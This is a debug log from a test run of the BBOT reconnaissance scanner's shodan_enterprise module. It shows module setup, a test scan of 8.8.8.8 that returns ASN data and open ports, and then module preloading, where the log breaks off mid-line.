[HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:41:50,164 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:41:50,164 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:41:50,169 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/l4j0sisc13bt7pwyntzc -2026-03-01 16:41:51,256 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:41:51,257 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:41:51,257 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:41:51,258 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:41:51,258 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:41:51,258 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:41:51,260 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:41:51,385 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:41:51,386 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:41:51,386 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:41:51,388 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:41:51,388 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:41:51,389 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:41:51,389 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:41:51,390 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:41:51,390 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:41:51,391 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:41:51,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:41:51,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:41:51,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:41:51,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:41:51,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:41:51,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:41:51,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:41:51,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:41:51,393 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:41:51,394 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:41:51,394 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:41:51,394 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:41:51,394 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:41:51,394 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:41:51,395 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:41:51,395 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:41:51,395 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:41:51,395 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:41:51,396 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:41:51,396 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:41:51,396 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:41:51,396 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:41:51,397 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:41:51,397 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:41:51,397 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:41:51,398 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:41:51,399 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:41:51,399 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:41:51,399 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:41:51,399 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:41:51,400 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:41:51,549 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_rkon46rcv7 -2026-03-01 16:41:51,549 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:41:51,658 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:41:51,659 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:41:51,659 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:41:51,661 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 16:41:51,760 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-03-01 16:41:51,761 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 16:41:51,762 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-01 16:41:51,763 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:41:51,764 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:41:51,765 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:41:51,766 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:41:51,766 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:41:51,768 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:41:51,769 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:41:51,769 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:41:51,771 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:41:51,772 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:41:51,774 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:41:51,774 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:41:51,778 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:41:51,779 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:41:51,779 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:41:51,780 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:41:51,780 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 16:41:51,781 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 16:41:51,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 16:41:51,782 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:41:51,782 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:41:51,884 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:41:51,885 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:41:51,886 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:8838faef00c76494fc9f41db103d8cc803fa3514', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:41:51,886 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 16:41:51,887 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:41:51,887 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:41:51,887 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:41:51,888 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:41:51,889 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,889 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,890 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:41:51,890 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:41:51,891 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:41:51,891 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:41:51,892 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:41:51,892 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,893 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,893 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,894 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,894 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,895 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:41:51,895 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:41:51,896 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:41:51,896 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,898 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,898 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,899 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,900 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:41:51,900 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,901 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,901 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,902 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,902 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,902 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,903 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,903 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:41:51,904 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,904 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,905 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,905 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:41:51,906 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,906 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,907 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:41:51,907 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:41:51,988 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:41:51,990 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:41:51,991 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:41:51,991 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,991 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:41:51,992 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,992 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:41:51,993 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:41:51,993 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:41:51,994 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:41:51,994 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:41:51,995 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:41:51,995 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:41:51,996 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:41:51,996 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:41:51,996 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:41:52,097 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:41:52,098 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:41:52,117 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:41:52,117 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:41:52,118 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:41:52,129 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:41:52,130 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:41:52,131 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:41:52,132 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:41:52,133 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:41:52,133 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:41:52,249 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_rkon46rcv7 completed in 0 seconds with status FINISHED -2026-03-01 16:41:52,249 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:41:52,250 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:41:52,252 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events -2026-03-01 16:41:52,252 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 16:41:52,252 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-01 16:41:52,252 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-01 16:42:28,255 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:42:28,265 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:42:28,266 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:42:28,266 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:42:28,267 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:42:28,268 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:42:28,268 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:42:28,269 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:42:28,270 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:42:28,270 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:42:28,271 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:42:28,272 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:42:28,272 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:42:28,273 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:42:28,273 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:42:28,278 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:42:28,278 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:42:28,279 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:42:28,280 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:42:28,281 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:42:28,281 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:42:28,282 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:42:28,283 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:42:28,284 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:42:28,284 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:42:28,285 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:42:28,286 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:42:28,286 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:42:28,287 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:42:28,288 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:42:28,289 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:42:28,289 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:42:28,290 [DEBUG] bbot.module_loader 